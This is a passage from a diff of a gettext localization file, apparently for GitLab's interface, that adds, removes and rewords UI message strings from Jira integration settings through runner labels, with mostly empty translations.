msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17392,7 +17871,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17413,7 +17895,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17425,12 +17907,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17647,15 +18135,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17746,6 +18225,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17951,6 +18433,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18363,6 +18848,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18432,6 +18920,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18606,6 +19097,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18645,6 +19139,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18669,9 +19166,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18747,6 +19241,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18765,13 +19262,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18846,6 +19340,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18948,9 +19445,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18960,9 +19454,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19095,9 +19586,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19155,9 +19643,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19724,6 +20209,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19916,6 +20404,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19979,6 +20473,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20114,6 +20611,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20434,6 +20934,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20483,9 +20992,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20651,6 +21157,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20696,6 +21205,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20762,7 +21274,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20813,6 +21325,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20900,6 +21415,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21071,6 +21589,34 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21185,6 +21731,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21317,10 +21872,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21410,9 +21962,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21437,9 +21986,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21470,6 +22016,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21558,12 +22107,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21582,9 +22125,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21597,10 +22137,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21615,6 +22158,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21666,6 +22212,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21774,12 +22323,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21810,6 +22365,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21828,6 +22386,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21879,6 +22440,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21903,9 +22467,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21942,15 +22503,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22002,27 +22590,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22260,10 +22827,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22344,7 +22920,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22593,9 +23169,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22614,6 +23187,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22689,6 +23265,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22758,9 +23346,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22911,10 +23496,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22950,6 +23535,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23088,6 +23685,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23112,6 +23715,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23136,6 +23742,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23394,7 +24003,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23784,6 +24393,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23799,49 +24411,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23895,25 +24540,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23925,7 +24573,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23937,7 +24585,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23949,10 +24597,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23985,10 +24633,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -24012,15 +24663,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -24051,7 +24696,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24060,7 +24705,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -24081,16 +24726,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24102,12 +24744,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24135,10 +24780,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24672,6 +25317,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24693,7 +25347,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24714,6 +25368,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24888,7 +25545,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25077,7 +25734,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25244,7 +25901,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25256,7 +25913,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25280,6 +25937,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25328,9 +25988,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25577,6 +26234,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25624,7 +26284,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25650,6 +26310,12 @@ msgstr[3] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25776,6 +26442,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25872,6 +26541,9 @@ msgstr "Profile Żądań"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26188,7 +26860,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26332,6 +27007,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
